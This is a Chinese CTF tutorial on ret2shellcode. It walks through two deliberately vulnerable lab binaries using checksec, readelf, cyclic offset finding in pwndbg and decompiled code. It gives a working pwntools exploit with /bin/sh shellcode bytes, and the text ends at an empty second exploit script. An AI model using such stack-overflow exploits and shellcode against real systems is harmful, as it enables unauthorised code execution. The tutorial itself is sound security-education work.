总结摘要
从零开始的 Pwn 之旅 - ret2shellcode
前言
ret2shellcode 即是将程序的控制流劫持到我们构造的 shellcode 上。shellcode 是一段可以被执行的代码,通常用于执行系统命令或打开一个 shell。
想要执行 sehllcode, shellcode 所在的内存区域必须是可执行的。
使用 pwn checksec 命令检查二进制文件的安全特性,若发现 NX 被启用,则说明该二进制文件的堆栈内存区域不可执行。此方法一般而言来说会失效。
需要注意的是,在新版内核当中引入了较为激进的保护策略,程序中通常不再默认有同时具有可写与可执行的段,这使得传统的 ret2shellcode 手法不再能直接完成利用。
应当在内核版本较老的环境中进行实验(如 Ubuntu 18.04 或更老版本)。由于容器环境间共享同一内核,因此这里我们无法通过 docker 完成环境搭建。
ret2shellcode-example
ret2shellcode
先进行安全防护检测
1
2
3
4
5
6
7
8
9
10
11
12
13
| $ chmod +x ./ret2shellcode
$ pwn checksec ./ret2shellcode
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
[*] '/home/lhon901/work/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes
|
32 位程序没有任何的保护
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
| $ readelf -l ./ret2shellcode
Elf file type is EXEC (Executable file)
Entry point 0x8048430
There are 9 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x00768 0x00768 R E 0x1000
LOAD 0x000f08 0x08049f08 0x08049f08 0x00128 0x001dc RW 0x1000
DYNAMIC 0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
GNU_EH_FRAME 0x00068c 0x0804868c 0x0804868c 0x0002c 0x0002c R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
GNU_RELRO 0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R 0x1
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
04 .dynamic
05 .note.ABI-tag .note.gnu.build-id
06 .eh_frame_hdr
07
08 .init_array .fini_array .jcr .dynamic .got
$ readelf -WS ./ret2shellcode
There are 35 section headers, starting at offset 0x18bc:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-id NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 00002c 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481d8 0001d8 0000b0 10 A 6 1 4
[ 6] .dynstr STRTAB 08048288 000288 000073 00 A 0 0 1
[ 7] .gnu.version VERSYM 080482fc 0002fc 000016 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 08048314 000314 000020 00 A 6 1 4
[ 9] .rel.dyn REL 08048334 000334 000018 08 A 5 0 4
[10] .rel.plt REL 0804834c 00034c 000038 08 A 5 12 4
[11] .init PROGBITS 08048384 000384 000023 00 AX 0 0 4
[12] .plt PROGBITS 080483b0 0003b0 000080 04 AX 0 0 16
[13] .text PROGBITS 08048430 000430 000212 00 AX 0 0 16
[14] .fini PROGBITS 08048644 000644 000014 00 AX 0 0 4
[15] .rodata PROGBITS 08048658 000658 000032 00 A 0 0 4
[16] .eh_frame_hdr PROGBITS 0804868c 00068c 00002c 00 A 0 0 4
[17] .eh_frame PROGBITS 080486b8 0006b8 0000b0 00 A 0 0 4
[18] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4
[19] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4
[20] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4
[21] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4
[22] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[23] .got.plt PROGBITS 0804a000 001000 000028 04 WA 0 0 4
[24] .data PROGBITS 0804a028 001028 000008 00 WA 0 0 4
[25] .bss NOBITS 0804a040 001030 0000a4 00 WA 0 0 32
[26] .comment PROGBITS 00000000 001030 00002b 01 MS 0 0 1
[27] .debug_aranges PROGBITS 00000000 00105b 000020 00 0 0 1
[28] .debug_info PROGBITS 00000000 00107b 0002f7 00 0 0 1
[29] .debug_abbrev PROGBITS 00000000 001372 0000de 00 0 0 1
[30] .debug_line PROGBITS 00000000 001450 0000c0 00 0 0 1
[31] .debug_str PROGBITS 00000000 001510 000263 01 MS 0 0 1
[32] .shstrtab STRTAB 00000000 001773 000146 00 0 0 1
[33] .symtab SYMTAB 00000000 001e34 0004f0 10 34 50 4
[34] .strtab STRTAB 00000000 002324 0002c8 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)
|
这里分别给出了程序的 segment 和 section 的相关信息。
segment 是以程序运行时的内存布局角度去看的
1
| GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
|
这里可以看到 stack 同时具有可读、可写和可执行的权限。
值得注意的是这里的 headers 是和下面的 segment mapping 是一一对应的。
PHDR 对应 segment mmapping 中的 00
INTERP 对应 segment mmapping 中的 01
…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x00768 0x00768 R E 0x1000
LOAD 0x000f08 0x08049f08 0x08049f08 0x00128 0x001dc RW 0x1000
DYNAMIC 0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
GNU_EH_FRAME 0x00068c 0x0804868c 0x0804868c 0x0002c 0x0002c R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
GNU_RELRO 0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R 0x1
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
04 .dynamic
05 .note.ABI-tag .note.gnu.build-id
06 .eh_frame_hdr
07
08 .init_array .fini_array .jcr .dynamic .got
|
这里可以看到 .text .bss 等 section 都在同一块 segment, 而它们都具有相同的 Program Header Type, 即 LOAD。LOAD 同时具有可读,可执行权限。
.bss .data 等 section 一般用来存储数据,user 可写,如果我们能在里面部署 shellcode,把返回地址劫持到相应地址,就可以获取 shellcode 了。
测算偏移量:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
| $ pwn cyclic 1000
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
$ gdb ./ret2shellcode
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 142 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Reading symbols from ./ret2shellcode...done.
------- tip of the day (disable with set show-tips off) -------
Use GDB's pi command to run an interactive Python console where you can use Pwndbg APIs like pwndbg.gdblib.memory.read(addr, len), pwndbg.gdblib.memory.write(addr, data), pwndbg.gdb.vmmap.get() and so on!
pwndbg> r
Starting program: /home/lhon901/work/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode
No system for you this time !!!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
bye bye ~
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────
EAX 0x0
EBX 0x0
*ECX 0x9
*EDX 0xf7fba890 (_IO_stdfile_1_lock) ◂— 0
EDI 0x0
*ESI 0xf7fb9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
*EBP 0x62616163 ('caab')
*ESP 0xffffd310 ◂— 0x62616165 ('eaab')
*EIP 0x62616164 ('daab')
──────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────
Invalid address 0x62616164
───────────────────────────────────────[ STACK ]───────────────────────────────────────
00:0000│ esp 0xffffd310 ◂— 0x62616165 ('eaab')
01:0004│ 0xffffd314 ◂— 0x62616166 ('faab')
02:0008│ 0xffffd318 ◂— 0x62616167 ('gaab')
03:000c│ 0xffffd31c ◂— 0x62616168 ('haab')
04:0010│ 0xffffd320 ◂— 0x62616169 ('iaab')
05:0014│ 0xffffd324 ◂— 0x6261616a ('jaab')
06:0018│ 0xffffd328 ◂— 0x6261616b ('kaab')
07:001c│ 0xffffd32c ◂— 0x6261616c ('laab')
─────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────
► 0 0x62616164
1 0x62616165
2 0x62616166
3 0x62616167
4 0x62616168
5 0x62616169
6 0x6261616a
7 0x6261616b
───────────────────────────────────────────────────────────────────────────────────────
pwndbg> pwn cyclic -l daab
112
This command is deprecated in Pwndbg. Please use the GDB's built-in syntax for running shell commands instead: !pwn <args>
pwndbg>
|
偏移量为 112
进行静态逆向:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("bye bye ~");
return 0;
}
.bss:0804A080 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2 db 64h dup(?) ; DATA XREF: main+7B↑o
.bss:0804A080 _bss ends
.bss:0804A080
|
gets 函数可以栈溢出,strncpy 函数将输入的 0x64 个字节内容复制到 buf2 中。
我们可以构造 shellcode 并将其放入 buf2 中。然后劫持返回地址到 buf2 的地址。
不能在返回地址处直接覆盖 shellcode, ret 指令会调转到返回地址并且执行里面的内容,所以返回地址处应该是 buf2 的地址
默认情况下栈和动态链接库地址会随机化,除非泄露栈上地址,否则无法利用
构造 exp.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| from pwn import *
p = process("./ret2shellcode")
context.arch = "i386"
shellcode = shellcraft.sh()
shellcode = asm(shellcode)
print(shellcode)
payload = shellcode.ljust(112, b"\x00") + p32(0x804a080)
p.sendline(payload)
p.interactive()
|
shellcraft.sh() 会帮助我们生成一个简单的 shellcode,执行 /bin/sh。但是使用前需要先指明架构 context.arch = "i386"。
1
2
3
4
5
6
7
8
9
10
| $ python3 exp.py
[+] Starting local process './ret2shellcode': pid 31713
b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
[*] Switching to interactive mode
No system for you this time !!!
bye bye ~$ whoami
lhon901
$
[*] Interrupted
[*] Stopped process './ret2shellcode' (pid 31713)
|
获取 shell 成功
sniperoj-pwn100-shellcode-x86-64
sniperoj-pwn100-shellcode-x86-64
先进行安全防护检测
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
| $ chmod +x ./shellcode
$ pwn checksec ./shellcode
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
[*] '/home/lhon901/work/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2shellcode/sniperoj-pwn100-shellcode-x86-64/shellcode'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No
$ readelf -l ./shellcode
Elf file type is DYN (Shared object file)
Entry point 0x6a0
There are 9 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040
0x00000000000001f8 0x00000000000001f8 R E 0x8
INTERP 0x0000000000000238 0x0000000000000238 0x0000000000000238
0x000000000000001c 0x000000000000001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000a8c 0x0000000000000a8c R E 0x200000
LOAD 0x0000000000000dd8 0x0000000000200dd8 0x0000000000200dd8
0x0000000000000270 0x0000000000000280 RW 0x200000
DYNAMIC 0x0000000000000df0 0x0000000000200df0 0x0000000000200df0
0x00000000000001e0 0x00000000000001e0 RW 0x8
NOTE 0x0000000000000254 0x0000000000000254 0x0000000000000254
0x0000000000000044 0x0000000000000044 R 0x4
GNU_EH_FRAME 0x0000000000000940 0x0000000000000940 0x0000000000000940
0x000000000000003c 0x000000000000003c R 0x4
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
GNU_RELRO 0x0000000000000dd8 0x0000000000200dd8 0x0000000000200dd8
0x0000000000000228 0x0000000000000228 R 0x1
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
04 .dynamic
05 .note.ABI-tag .note.gnu.build-id
06 .eh_frame_hdr
07
08 .init_array .fini_array .jcr .dynamic .got
|
.bss .data 无执行权限, stack 可执行
静态分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
| int __fastcall main(int argc, const char **argv, const char **envp)
{
_QWORD buf[2]; // [rsp+0h] [rbp-10h] BYREF
buf[0] = 0;
buf[1] = 0;
setvbuf(_bss_start, 0, 1, 0);
puts("Welcome to Sniperoj!");
printf("Do your kown what is it : [%p] ?\n", buf);
puts("Now give me your answer : ");
read(0, buf, 0x40u);
return 0;
}
|
printf 函数会泄露栈上的参数 buf 的地址
read 函数可以栈溢出
覆盖返回地址为 buf 的地址,buf 内写入 shellcode
程序关闭 NX,栈有可执行权限
测算偏移量:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
| $ pwn cyclic 1000
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
$ gdb shellcode
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 142 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Reading symbols from shellcode...(no debugging symbols found)...done.
------- tip of the day (disable with set show-tips off) -------
Use the telescope command to dereference a given address/pointer multiple times (if the dereferenced value is a valid ptr; see config telescope to configure its behavior)
pwndbg> r
Starting program: /home/lhon901/work/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2shellcode/sniperoj-pwn100-shellcode-x86-64/shellcode
Welcome to Sniperoj!
Do your kown what is it : [0x7fffffffe180] ?
Now give me your answer :
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
Program received signal SIGSEGV, Segmentation fault.
0x0000555555554852 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────
RAX 0x0
RBX 0x0
*RCX 0x7ffff7af2031 (read+17) ◂— cmp rax, -01000h /* 'H=' */
*RDX 0x40
RDI 0x0
*RSI 0x7fffffffe180 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
*R8 0x7ffff7fe44c0 ◂— rol byte ptr [rsi + rdi*8 - 9], 0ffh /* 0x7ffff7fe44c0 */
R9 0x0
*R10 0x3
*R11 0x246
*R12 0x5555555546a0 (_start) ◂— 0x89485ed18949ed31
*R13 0x7fffffffe270 ◂— 0x1
R14 0x0
R15 0x0
*RBP 0x6161616661616165 ('eaaafaaa')
*RSP 0x7fffffffe198 ◂— 'gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
*RIP 0x555555554852 (main+130) ◂— 0x841f0f2e66c3
─────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────
► 0x555555554852 <main+130> ret <0x6161616861616167>
0x555555554853 nop word ptr cs:[rax + rax]
0x55555555485d nop dword ptr [rax]
0x555555554860 <__libc_csu_init> push r15
0x555555554862 <__libc_csu_init+2> push r14
0x555555554864 <__libc_csu_init+4> mov r15d, edi
0x555555554867 <__libc_csu_init+7> push r13
0x555555554869 <__libc_csu_init+9> push r12
0x55555555486b <__libc_csu_init+11> lea r12, [rip + 200566h]
0x555555554872 <__libc_csu_init+18> push rbp
0x555555554873 <__libc_csu_init+19> lea rbp, [rip + 200566h]
───────────────────────────────────────[ STACK ]───────────────────────────────────────
00:0000│ rsp 0x7fffffffe198 ◂— 'gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
01:0008│ 0x7fffffffe1a0 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaa'
02:0010│ 0x7fffffffe1a8 ◂— 'kaaalaaamaaanaaaoaaapaaa'
03:0018│ 0x7fffffffe1b0 ◂— 'maaanaaaoaaapaaa'
04:0020│ 0x7fffffffe1b8 ◂— 'oaaapaaa'
05:0028│ 0x7fffffffe1c0 ◂— 0x0
06:0030│ 0x7fffffffe1c8 ◂— 0xa67c817ee56de54
07:0038│ 0x7fffffffe1d0 —▸ 0x5555555546a0 (_start) ◂— 0x89485ed18949ed31
─────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────
► 0 0x555555554852 main+130
1 0x6161616861616167
2 0x6161616a61616169
3 0x6161616c6161616b
4 0x6161616e6161616d
5 0x616161706161616f
6 0x0
───────────────────────────────────────────────────────────────────────────────────────
pwndbg> qaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
Undefined command: "qaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj". Try "help".
pwndbg> pwn cyclic -l eaaafaaa
16
This command is deprecated in Pwndbg. Please use the GDB's built-in syntax for running shell commands instead: !pwn <args>
|
偏移量为 0x10 + 0x8(rbp) = 0x18
exp.py:
1
2
